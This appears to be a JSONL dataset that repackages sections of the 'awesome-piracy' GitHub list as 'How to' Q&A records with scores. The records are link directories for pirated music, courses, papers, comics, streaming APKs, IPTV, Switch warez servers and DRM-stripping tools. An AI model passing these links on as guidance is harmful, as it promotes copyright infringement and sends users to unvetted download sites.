{"id": "gh_c5a253477d4a", "question": "How to: Homebrew and Custom Firmware", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [3DS Hacks Guide](https://3ds.hacks.guide/) A complete guide to 3DS custom firmware, from stock to boot9strap.\n- [/r/3dshacks](https://www.reddit.com/r/3dshacks) Nintendo 3DS hacking and homebrew.\n- [/r/WiiHacks](https://www.reddit.com/r/WiiHacks/) This Subreddit is for people interested in modifying their Wii.\n- [/r/WiiUHacks](https://www.reddit.com/r/WiiUHacks) A subreddit dedicated to Wii U hacking and homebrew!\n- [/r/vitahacks](https://www.reddit.com/r/vitahacks/) A place to discuss Vita hacking and homebrew.\n- [/r/ps4homebrew](https://www.reddit.com/r/ps4homebrew) News, releases, and questions regarding the PS4 jailbreak, homebrew, and mods.\n- [/r/SwitchHaxing](https://www.reddit.com/r/SwitchHaxing) Nintendo Switch hacking & homebrew subreddit\n- [/r/SwitchHacks](https://www.reddit.com/r/SwitchHacks) Another Nintendo Switch hacking subreddit\n- [/r/ps3homebrew](https://www.reddit.com/r/ps3homebrew/) News, updates, apps, and answers regarding PS3 homebrew!\n- [/r/YuzuPiracy](https://www.reddit.com/r/YuzuPiracy) Links for Yuzu, the open-source Nintendo Switch emulator\n- [/r/VitaPiracy](https://www.reddit.com/r/VitaPiracy/) Fairly active community of PS Vita pirates with guides and releases", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637461"}
{"id": "gh_c61b3dd8e016", "question": "How to: Music Streaming", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Muxiv Music](https://muxiv.com/) Stream 45 million songs on all your devices, online or offline. Primarily Chinese content.\n- [Hikarinoakariost](https://hikarinoakariost.info/) Site with Japanese music\n- [mp3Clan](http://mp3guild.com/) Free music streaming\n- [GoSong](https://gosong.unblocked.gdn/) Streamable MP3s\n- [MP3Juices](https://mp3juices.unblocked.gdn/) MP3 search engine tool which uses YouTube\n- [mp3.li](http://mp3li.unblckd.club) Another MP3 streaming site\n- [SongsPK](https://songs-pk.in/) Mainly for downloading Bollywood songs. Domain changes frequently.\n- [datmusic](https://datmusic.xyz/) Search engine with a clean UI for streaming music in your browser\n- [MusicPleer](https://musicpleer.la/) Another music streaming site with a decent search engine\n- [slider.kz](http://slider.kz/) Quirky and fast music streaming site", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637467"}
{"id": "gh_876db167d527", "question": "How to: Music Downloading", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Soulseek](http://www.soulseekqt.net/news/) Soulseek is an ad-free, spyware free, just plain free file-sharing network for Windows, Mac, and Linux.\n- [irs](https://github.com/kepoorhampond/irs) A music downloader that understands your metadata needs.\n- [Deezloader Remaster](https://www.reddit.com/r/DeezloadersIsBack/comments/9n3pf1/deezloader_alpha_latest_version_download10102018/) Tool for downloading music from Deezer\n- [Deezloader Remix](https://notabug.org/RemixDevs/DeezloaderRemix) Another program with the same purpose, both based on the original, now defunct Deezloader.\n- [/r/DeezloaderIsBack](https://www.reddit.com/r/DeezloadersIsBack) Community supporting Deezloader\n- [Deemix](https://codeberg.org/RemixDev/deemix) Another program with the same purpose. \"Deemix is a python library that lets you download millions of songs [from Deezer]\". \"Deemix is meant to replace Deezloader Remix\".\n- [/r/deemix](https://www.reddit.com/r/deemix) Community supporting Deemix\n- [New Album Releases](http://newalbumreleases.net/) Premium DDL links for full albums\n- [KHInsider](https://downloads.khinsider.com/) Site collecting soundtracks, mostly MP3, some FLAC, OGG or M4A.\n- [VGMLoader](https://github.com/TheLastZombie/VGMLoader) Tool for bulk downloading from KHInsider.\n- [Free MPS Download.net](https://free-mp3-download.net/) Search engine with streamable samples and download links\n- [chimera](https://notabug.org/Aesir/chimera) Multiple source terminal-based music downloader with audio search engine\n- [YouTube to MP3](https://ytformp3.com/)", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637474"}
{"id": "gh_a92399a1fc0c", "question": "How to: Academic Papers and Material", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [LibGen](https://libgen.fun/) search engine for articles and books on various topics, which allows free access to content that is otherwise paywalled or not digitized elsewhere\n- [Sci-Hub](https://sci-hub.se/) the first pirate website in the world to provide mass and public access to tens of millions of research papers\n- [BookSC](http://booksc.org/) The world's largest scientific articles store. 50,000,000+ articles for free.\n- [Academic Torrents](http://academictorrents.com/) A Community-Maintained Distributed Repository for researchers, by researchers. Making 32.66TB of research data available!", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637484"}
{"id": "gh_8df8e568f444", "question": "How to: Courses and Tutorials", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [CourseClub](https://courseclub.me/) Download courses from (Lynda, Pluralsight, CBG Nuggets, etc)\n- [FreeCourseSite](https://freecoursesite.com/) Mostly highest rated udemy courses torrent\n- [FreeTutorials.eu](https://www.freetutorials.eu/) Lots of Udemy courses for free; Has Adblock detector\n- [Gigacourse](https://gigacourse.com/)\n- [Desire Course](https://desirecourse.net/)\n- [GFXDomain.net Tutorials board](http://forum.gfxdomain.net/forums/others-tutorials.42/) Forum with free tutorials for graphic design, mostly via premium file hosts but some torrents\n- [tpget](https://github.com/0x6a73/tpget) Tutorialspoint downloader\n- [udemy-downloader-gui](https://github.com/FaisalUmair/udemy-downloader-gui) A cross-platform (Windows, Mac, Linux) desktop application for downloading Udemy Courses.\n- [tut4dl](https://tut4dl.com/) Download tutorial and training courses from many paid MOOCs, with categories ranging from Cuisine to Cryptography.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637491"}
{"id": "gh_ab8cca2cb3e2", "question": "How to: Audiobooks", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [AudioBook Bay](http://audiobookbay.nl/) Download unabridged audiobooks for free or share your audiobooks, safe, fast and high quality\n- [AAXtoMP3](https://github.com/KrumpetPirate/AAXtoMP3) Convert Audible's .aax filetype to MP3, FLAC, M4A, or OPUS\n- [Booksonic](http://booksonic.org/) Booksonic is a server and an app for streaming your audiobooks to any pc or android phone.\n- [The Eye /public/AudioBooks](http://the-eye.eu/public/AudioBooks/) A few publicly accessible audiobooks hosted by The Eye\n- [AudioBooks.Cloud](https://audiobooks.cloud/) DDL links for lots of audiobooks.\n- [Tokybook](https://tokybook.com/) Free audiobook streaming site.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637496"}
{"id": "gh_25b4e0c77f13", "question": "How to: Comicbooks", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Kindle Comic Converter](https://kcc.iosphe.re/) Comic and manga converter for ebook readers\n- [readcomiconline.to](https://readcomiconline.to/) Manga and comics uploaded daily\n- [Readcomicbooksonline](https://readcomicbooksonline.org/) Tends to Error 520 occasionally\n- [Comic Extra](https://www.comicextra.com/) Daily comic uploads, clean UI\n- [GetComics](https://getcomics.info/) GetComics started as an alternative place to get downloaded comic files, particularly US-based comics published by DC and Marvel.\n- [Gazee!](https://hub.docker.com/r/linuxserver/gazee/) A WebApp Comic Reader for your favorite digital comics. Reach and read your comic library from any web-connected device with a modern web browser.\n- [Comix-Load](https://comix-load.in/) DDL links for comic books and manga in English and German.\n- [Omnibus](https://github.com/fireshaper/Omnibus) Search for and download comics that are added to GetComics.info easily", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637502"}
{"id": "gh_cadc529c2531", "question": "How to: Documentaries", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [/r/Documentaries](https://www.reddit.com/r/documentaries) Popular documentaries subreddit\n- [My big list of documentary sites (streaming and download)](https://www.reddit.com/r/Documentaries/comments/h9pu7/my_big_list_of_documentary_sites_streaming_and/) An old post by /u/whatwhat888 that may still be useful\n- [DocuWiki.net](http://docuwiki.net/index.php?title=Main_Page) DocuWiki.net serves as an index of documentary films on the Edonkey Network.\n- [MVGroup](http://forums.mvgroup.org/) Forum for documentary torrent and ED2K downloads. Sign-up required.\n- [Documentary Addict](https://documentaryaddict.com/) A website which scrapes Youtube for documentaries\n- [iHaveNoTv](https://ihavenotv.com/) Community managed documentary collection", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637508"}
{"id": "gh_fa972bbf2260", "question": "How to: Fonts, Icons, and Graphics", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Web4Sync](https://web4sync.com/) Forum with DDL links catering to web development, graphics design, 3D animation, and photography\n- [GFXDomain](http://forum.gfxdomain.net/) Forum for graphic design resources and software\n- [GFxtra](https://www.gfxtra.com/) DDL links for graphics, icons, 3D models, and more\n- [GraphicEx](https://graphicex.com/) Stock/vector graphics, PhotoShop/InDesign resources, fonts, and more\n- [Tomato.to](https://tomato.to/) Stock Downloader | Supports Shutterstock, Gettyimages, Adobe stock, Fotolia, Vectorstock, iStockphoto, PNGTree & PicFair.\n- [How to download paid fonts for free](https://www.reddit.com/r/Piracy/comments/8tqfg6/how_to_download_paid_fonts_for_free/) Post by /u/Bebhio on how to use clever Google searches to find fonts online\n- [gallery-dl](https://github.com/mikf/gallery-dl) Command-line program to download image-galleries and -collections from several image hosting sites", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637513"}
{"id": "gh_0983a6d0d8d3", "question": "How to: TV Automation", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Sonarr](https://github.com/Sonarr/Sonarr) :star2: Smart PVR for newsgroup and BitTorrent users.\n- [SickRage](https://github.com/SiCKRAGE/SiCKRAGE) Automatic Video Library Manager for TV Shows.\n- [SickChill](https://sickchill.github.io/) an automatic Video Library Manager for TV Shows.\n- [SickBeard](http://sickbeard.com/) The ultimate PVR application that searches for and manages your TV shows\n- [SickGear](https://github.com/SickGear/SickGear) SickGear has proven the most reliable stable TV fork of the great Sick-Beard to fully automate TV enjoyment with innovation.\n- [Medusa](https://pymedusa.com/) Automatic Video Library Manager for TV Shows.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637524"}
{"id": "gh_1c594af1d5ea", "question": "How to: Movie Automation", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Radarr](https://radarr.video/) :star2: A fork of Sonarr to work with movies à la Couchpotato.\n- [RadarrSync](https://github.com/Sperryfreak01/RadarrSync) Syncs two Radarr servers through web API.\n- [CouchPotato](https://github.com/CouchPotato/CouchPotatoServer) Automatic Movie Downloading via NZBs & Torrents\n- [Watcher](https://github.com/nosmokingbandit/Watcher3) Watcher is an automated movie NZB & Torrent searcher and snatcher.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637530"}
{"id": "gh_657925ed22f8", "question": "How to: Music Automation", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [betanin](https://github.com/sentriz/betanin) beets.io based man-in-the-middle of your torrent client and music player.\n- [Lidarr](https://github.com/lidarr/Lidarr) Looks and smells like Sonarr but made for music.\n- [Headphones](https://github.com/rembo10/headphones) Automatic music downloader for SABnzbd", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637535"}
{"id": "gh_29b775d3d86b", "question": "How to: Subtitles Automation", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Bazarr](https://github.com/morpheus65535/bazarr) Bazarr is a companion application to Sonarr and Radarr. It manages and downloads subtitles based on your requirements.\n- [autosub](https://github.com/agermanidis/autosub) Command-line utility for auto-generating subtitles for any video file using speech recognition\n- [nzb-subliminal](https://github.com/caronc/nzb-subliminal) Fetches subtitles for the videos it's provided. It can be easily integrated into NZBGet and SABnzbd too.\n- [subsync](https://github.com/smacke/subsync) Automagically synchronize subtitles with the video.\n- [vlsub](https://github.com/exebetche/vlsub) VLC extension to download subtitles from opensubtitles.org", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637540"}
{"id": "gh_3541728e688e", "question": "How to: P2P Networks", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [eDonkey network](https://en.wikipedia.org/wiki/EDonkey_network) a decentralized, mostly server-based, peer-to-peer file-sharing network\n- [Gnutella](https://en.wikipedia.org/wiki/Gnutella) P2P network behind the popular LimeWire file sharing app\n- [FastTrack](https://en.wikipedia.org/wiki/FastTrack) Protocol used by the Kazaa, Grokster, iMesh, and Morpheus file-sharing programs\n- [Napster](https://en.wikipedia.org/wiki/Napster) Peer-to-peer file sharing Internet service that emphasized sharing digital audio files, typically audio songs, encoded in MP3 format.\n- [Peer-to-peer file sharing](https://en.wikipedia.org/wiki/Peer-to-peer_file_sharing) Detailed Wikipedia page about file sharing\n- [IPFS - Distributed Web](https://en.wikipedia.org/wiki/InterPlanetary_File_System) Peer-to-peer distributed file system that seeks to connect all computing devices with the same system of files\n- [Kad](https://en.wikipedia.org/wiki/Kad_network) The Kad network is a peer-to-peer (P2P) network that implements the Kademlia P2P overlay protocol.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637546"}
{"id": "gh_364cd1f3040d", "question": "How to: Ripping, Transcoding, Converting, Encoding", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Handbrake](https://handbrake.fr/) :star2: HandBrake is a tool for converting video from nearly any format to a selection of modern, widely supported codecs.\n- [MakeMKV](http://www.makemkv.com/) MakeMKV is your one-click solution to convert video that you own into a free and patents-unencumbered format that can be played everywhere.\n- [ffmpeg](https://ffmpeg.org/) A complete, cross-platform solution to record, convert and stream audio and video.\n- [sickbeard_mp4_automator](https://github.com/mdhiggins/sickbeard_mp4_automator) Automatically convert video files to a standardized mp4 format with proper metadata tagging to create a beautiful and uniform media library\n- [Automatic Ripping Machine](https://b3n.org/automatic-ripping-machine/) The A.R.M. (Automatic Ripping Machine) detects the insertion of an optical disc, identifies the type of media and autonomously performs the appropriate action\n- [DVD Decrypter](http://dvddecrypter.org.uk/) The original unofficial DVD Decrypter mirror since June 7th, 2005.\n- [DVDFab](https://www.dvdfab.cn/) DVD ripping tool\n- [The Encoding Guide](https://encoding-guide.neocities.org/) :star2: In-depth guide on encoding video", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637552"}
{"id": "gh_b8b17e036b4f", "question": "How to: Cloud Storage", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [google-drive-ocamlfuse](https://github.com/astrada/google-drive-ocamlfuse) FUSE filesystem over Google Drive\n- [rclone](https://rclone.org/) :star2: \"rsync for cloud storage\"\n- [plexdrive](https://github.com/dweidenfeld/plexdrive) mounts your Google Drive FUSE filesystem (optimized for media playback)\n- [/r/PlexACD](https://www.reddit.com/r/PlexACD/) Discussion about unlimited cloud storage for Plex libraries\n- [rclone-gdrive](https://bytesized-hosting.com/pages/rclone-gdrive) Wiki page on setting up Google Drive with rclone cache and crypt\n- [Connect Your Plex Server To Your Google Drive](https://bytesized-hosting.com/pages/plexdrive) This tutorial will help you connect your Google Drive to your Plex server using Plexdrive.\n- [RcloneBrowser](https://martins.ninja/RcloneBrowser/) Simple cross-platform GUI for rclone\n- [UDS](https://github.com/stewartmcgown/uds) Unlimited Drive Storage. Store files in Google Docs without counting against your quota.\n- [Comparison of file hosting services](https://en.wikipedia.org/wiki/Comparison_of_file_hosting_services) This is a comparison of file hosting services that are currently active.\n- [Cloud storage table](https://nafanz.github.io/cloudstorage.html) Regularly updated table of information about top cloud storage providers.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637558"}
{"id": "gh_fb15d4dd6dd6", "question": "How to: File Renaming and Tagging", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [FileBot](https://www.filebot.net/) :star2: the ultimate tool for organizing and renaming your Movies, TV Shows and Anime as well as fetching subtitles and artwork. It's smart and just works.\n- [filebot-node](https://github.com/filebot/filebot-node) a client-server application that'll allow you to run filebot commands\n- [docker-filebot](https://github.com/coppit/docker-filebot) A Docker container for FileBot\n- [MediaMonkey](https://www.mediamonkey.com/) Manage a movie/music library from 100 to 100,000+ audio/video files and playlists\n- [MP3TAG](https://www.mp3tag.de/en/) Mp3tag is a powerful and easy-to-use tool to edit metadata of audio files.\n- [Picard](https://picard.musicbrainz.org/) Picard is a cross-platform music tagger written in Python.\n- [Beets](https://github.com/beetbox/beets) beets is a music library manager\n- [Metatogger](https://www.luminescence-software.org/en/metatogger.html) Metatogger is the new generation of tag editor allowing you to rename, tag and easily sort your audio files.\n- [MediaInfo](https://mediaarea.net/en/MediaInfo) MediaInfo is a convenient unified display of the most relevant technical and tag data for video and audio files.\n- [iFlicks2](https://iflicksapp.com/) Useful for adding metadata to movies and TV shows\n- [MediaElch](https://www.kvibes.de/mediaelch/) Media manager for Kodi. Metadata & artwork retrieval, as well as renaming.\n- [/r/datacurator](https://www.reddit.com/r/datacurator/) Subreddit for discussion about the curation of digital data. Be it sorting, file formats, file encoding, best practices, discussion of your setup, tips, and tricks, asking for help, etc.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637565"}
{"id": "gh_ff41f8d6132f", "question": "How to: Mobile Apps", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [AdAway](https://adaway.org/) An open-source ad blocker for Android using the hosts file. It needs ROOT access\n- [NewPipe](https://newpipe.schabi.org/) The original YouTube experience without annoying ads and questionable permissions\n- [nzb360](http://nzb360.com/) :star2: nzb360 is a full-featured NZB manager that focuses on providing the best experience possible for controlling all of your Usenet needs.\n- [Ombi](https://play.google.com/store/apps/details?id=com.tidusjar.Ombi) Companion app for Ombi to request Plex content\n- [Tautulli Remote](https://play.google.com/store/apps/details?id=com.williamcomartin.plexpyremote) Mobile version of Tautilli for monitoring Plex on the go\n- [MyJDownloader](https://play.google.com/store/apps/details?id=org.appwork.myjdandroid&hl=en_US) enables you to remote control your desktop JDownloader from your pocket while you're on the go.\n- [FilePursuit Pro](https://play.google.com/store/apps/details?id=com.filepursuit.filepursuitpro) FilePursuit provides a very powerful file indexing and search service allowing you to find a file among millions of files located on web servers.\n- [YMusic](https://forum.xda-developers.com/android/apps-games/app-youtube-music-sound-stream-youtubes-t3399722) YouTube Music Player & Downloader\n- [Cygery AdSkip for YouTube](https://labs.xda-developers.com/store/app/com.cygery.adskip.xda) Automatically click on the \"Skip ad\" button in the YouTube™ app when it appears.\n- [Blokada](https://blokada.org) Blokada is a compact app that transparently blocks unwanted content like ads, tracking, malware, and other annoyances.\n- [Tachiyomi](https://github.com/inorichi/tachiyomi) Tachiyomi is a free and open-source manga reader for Android.\n- [4PDA.ru](http://4pda.ru/forum/index.php?act=idx) 4PDA is the biggest Russian forum about mobile devices. You can find an endless amount of APKs and Mobile software there. For download, registration is required\n- [AnYme](https://github.com/zunjae/anYme) Unofficial Anime App for MyAnimeList\n- [Perfect Player](https://play.google.com/store/apps/details?id=com.niklabs.pp) Perfect Player is set-top box style IPTV/Media player for watching videos on TVs, tablets and smartphones.\n- [\"My little guide for piracy on iPhone\"](https://www.reddit.com/r/Piracy/comments/ajkeq2/my_little_guide_for_piracy_on_iphone/) Post by /u/Impulse_13\n- [nzbUnity](https://nzbunity.dozenzb.com/) iOS app for managing your favourite NZB applications\n- [TiviMate IPTV player](https://play.google.com/store/apps/details?id=ar.tvplayer.tv) A popular Android app for watching IPTV on Android set-top boxes.\n- [Fildo](https://fildo.net/android/en/#) Android music streaming app which fetches files from third party MP3 search engines.\n- [YouTube Vanced](https://vancedapp.com/) Vanced is a well known modded version of YouTube with many features such as adblocking and background playback and many more.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637576"}
{"id": "gh_b358a6de4743", "question": "How to: Streaming Apps", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [MediaBox HD](https://mediaboxhd.net) MediaBox HD is a free streaming app with movies, tv shows, and music. VIP membership grants access to 1000s of reliable high-quality streams. It can cast to Chromecast, Apple TV, Fire TV, and Xbox.\n- [Kokotime](https://www.kokotime.tv/) Kokotime is an addon-based, simple, free and elegantly designed app that will let you watch all your favorite media content in a unique and elegant user-friendly design\n- [Mobdro](https://forum.mobilism.org/viewtopic.php?f=429&t=2720792&hilit=mobdro) Mobdro constantly searches the web for the best free video streams and brings them to your device.\n- [Cinema](https://forum.mobilism.org/viewtopic.php?t=2786441) a lot of Movies & TV/Shows to watch and download.\n- [Fildo](https://fildo.net/android/en/) Music streaming app\n- [TeaTV](https://teatv.net/) App for Android, Windows, and macOS for watching 1080p movies and TV shows for free\n- [AniméGlare](https://animeglare.xyz/)\n- [AniméVibe](http://animevibe.tv/)\n- [ApolloTV](https://apollotv.xyz/)\n- [BeeTV](http://beetvapk.me/)\n- [Cinema](https://cinemaapk.com/)\n- [CKayTV](http://ckaytv.com/)\n- [Cyberflix](https://cybercloud.media/) Terrarium clone\n- [DreamTV](http://dream-tv.xyz/) Terrarium clone\n- [Morph TV](http://titaniumtv.xyz/Morph2.apk) Morpheus fork\n- [PhoenixTV](https://tinyurl.com/y7z5zct8) Morpheus fork\n- [TitaniumTV](http://titaniumtv.xyz/) Terrarium clone\n- [TVZion](https://tvzionapp.live/)\n- [UnlockMyTV](https://unlockmytv.com/) Cinema clone ad-free", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637584"}
{"id": "gh_2f771ff2aef2", "question": "How to: Torrent Apps", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [Transdrone](https://play.google.com/store/apps/details?id=org.transdroid.lite) Transdrone allows you to manage the torrents you run on your home server or seedbox.\n- [Flud](https://play.google.com/store/apps/details?id=com.delphicoder.flud&hl=en) Flud is a simple and beautiful BitTorrent client for Android.\n- [BiglyBT](https://f-droid.org/packages/com.biglybt.android.client/) Free, open-source torrent client for Android phone, tablet, Chromebook, & Android TV\n- [LibreTorrent](https://f-droid.org/en/packages/org.proninyaroslav.libretorrent/) LibreTorrent is a Free as in Freedom torrent client for Android 4+, based on libtorrent.\n- [Vuze](https://play.google.com/store/apps/details?id=com.vuze.torrent.downloader) Lightweight & powerful BitTorrent app.\n- [aTorrent](https://play.google.com/store/apps/details?id=com.mobilityflow.torrent) Another popular torrent client for Android.\n- [Trireme](https://www.f-droid.org/en/packages/org.deluge.trireme/) Use this app to connect and manage your Deluge Daemon.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637590"}
{"id": "gh_c47f7ba4701f", "question": "How to: Discord Servers", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [The Ratio](https://discordapp.com/invite/wab3Qag) :star2: Community of seedbox enthusiasts. Buying advice, application setup, and automation help.\n- [DoujinStyle](https://discord.gg/z2QDFdA) Discord server with Doujin related materials. Things such as Japanese doujin music and games\n- [The Eye](https://discordapp.com/invite/py3kX3Z) Official Discord server for the-eye.eu\n- [PlayStation Homebrew](https://discord.gg/JJnvEN8) Home of /r/ps3homebrew and /r/ps4homebrew.\n- [Snahp.it](https://discord.gg/ypyKZCj) Official Discord server for snahp.it.\n- [WarezNX](https://discord.gg/d6xxuPq) Nintendo Switch Warez server. (/hbg/ has more up to date games as of April 2019)\n- [/hbg/ Homebrew General](https://discord.io/homebrew) A Discord server that shares Nintendo Switch Games.\n- [/r/soccerstreams](https://discord.gg/geyTtth) Official Discord server for the recently-killed /r/soccerstreams subreddit.\n- [APK'S 2 Day](https://discord.gg/2qWqzN8) This is a discord server that acts as a hub for numerous streaming apps.", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637597"}
{"id": "gh_eb48a07562d2", "question": "How to: IPTV and DVR", "question_body": "About Igglybuff/awesome-piracy", "answer": "- [iptv-org/iptv](https://github.com/iptv-org/iptv) Collection of 8000+ publicly available IPTV channels from all over the world\n- [telly](https://github.com/tellytv/telly) IPTV proxy for Plex Live written in Golang\n- [tvheadend](https://github.com/tvheadend/tvheadend) Tvheadend is a TV streaming server for Linux supporting DVB-S, DVB-S2, DVB-C, DVB-T, ATSC, IPTV, SAT>IP, and other formats through the Unix pipe as input sources.\n- [/r/IPTV](https://www.reddit.com/r/IPTV) Subreddit some may find helpful for gauging the current state of IPTV providers\n- [/r/iptvresellers](https://www.reddit.com/r/IPTVresellers) promotions and advertisements from IPTV providers\n- [/r/IPTVReviews](https://www.reddit.com/r/IPTVreviews) Reviews of IPTV service providers\n- [MythTV](https://www.mythtv.org/) Free Open Source software digital video recorder\n- [allsprk.tv](https://stream.allsprk.tv) A channel-hoppable live streaming site with a chat room\n- [UlstreaMix](https://ssl.ustreamix.com/) Live TV streaming site, predominantly sports\n- [Xtream Editor](http://www.xtream-editor.com/) Xtream Editor allows you to create, edit and sort m3u playlists online.\n- [xTeVe](https://xteve.de/) :star2: M3U Proxy for Plex DVR\n- [STBEmulator](http://rocketstreams.tv/stbemu) Popular Android app for using IPTV streams with EPG\n- [IPTV Community](https://iptv.community/) Technology and IPTV discussion website, useful for finding an IPTV provider/reseller\n- [antennas](https://github.com/TheJF/antennas) HDHomeRun emulator for Plex DVR to connect to Tvheadend.\n- [IPTV Providers list](https://docs.google.com/spreadsheets/d/1ehpk3OCkqj4QgF71v410avGpGC5bQ_lOLl5ppRb3Q9s/edit) A recently created list of 40+ IPTV providers with notes\n- [fastocloud](https://github.com/fastogt/fastocloud) IPTV/Video cloud admin panel for servers", "tags": ["Igglybuff"], "source": "github_gists", "category": "Igglybuff", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 25964, "answer_score": 10, "has_code": false, "url": "https://github.com/Igglybuff/awesome-piracy", "collected_at": "2026-01-17T08:19:14.637603"}
